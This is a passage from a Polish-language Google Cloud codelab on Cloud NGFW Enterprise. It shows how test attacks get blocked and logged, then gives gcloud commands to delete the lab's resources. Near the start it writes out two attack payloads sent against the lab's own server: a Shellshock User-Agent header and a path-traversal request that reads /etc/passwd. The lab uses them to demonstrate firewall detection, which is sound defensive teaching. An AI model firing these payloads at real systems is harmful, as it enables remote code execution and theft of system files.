Wróć do maszyny wirtualnej klienta i ponownie wyślij ataki o wysokim poziomie ważności na zewnętrzny adres IP serwera:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Oczekiwane dane wyjściowe:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Przejdź na kartę Zagrożenia w konsoli Cloud, aby sprawdzić logi (może być konieczne kilkukrotne odświeżenie). Ataki powinny zostać ponownie zidentyfikowane i zarejestrowane, ale teraz źródłowy adres IP jest wewnętrzny, ponieważ najpierw jest wywoływana reguła ruchu wychodzącego:

36f8edf264dcddcd.png

Zamknij sesję SSH i przejdź do następnej sekcji, aby wykonać czynności związane z czyszczeniem.

8. Procedura czyszczenia

Usuwanie komponentów Cloud NGFW Enterprise

Wyświetl listę istniejących powiązań Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

Usuń powiązanie Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Wyświetl listę istniejących punktów końcowych Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Usuń punkt końcowy Cloud NGFW Enterprise. Może to potrwać około 20 minut:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Sprawdź, czy usługa Cloud NGFW Enterprise została usunięta. W tym celu uruchom to polecenie:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Usuń grupę profili zabezpieczeń i profil zapobiegania zagrożeniom:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Czyszczenie po konfiguracji podstawowej

Jeśli wolisz usunąć zasoby podstawowe, przejdź do następnego kroku.

W razie potrzeby zdefiniuj zmienne środowiskowe. W Cloud Shell usuń komponenty sieciowego systemu równoważenia obciążenia:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Usuń instancje:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Opcjonalnie wykonaj poniższe czynności, jeśli role tagAdmin i tagUsers zostały zmienione:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Usuń klucz i wartości tagu:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Usuń zasadę zapory sieciowej Cloud Firewall i powiązanie:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Usuń router Cloud Router i Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Usuń zarezerwowane adresy IP:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Na koniec usuń podsieć i sieć VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Gratulacje!

Gratulujemy ukończenia ćwiczenia w Codelabs dotyczącego Cloud NGFW Enterprise na potrzeby inspekcji ruchu wewnątrz sieci i między sieciami.